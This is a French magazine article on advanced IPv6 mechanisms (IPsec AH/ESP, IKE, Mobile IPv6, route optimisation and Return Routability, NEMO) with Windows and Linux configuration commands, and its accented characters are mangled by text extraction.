bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

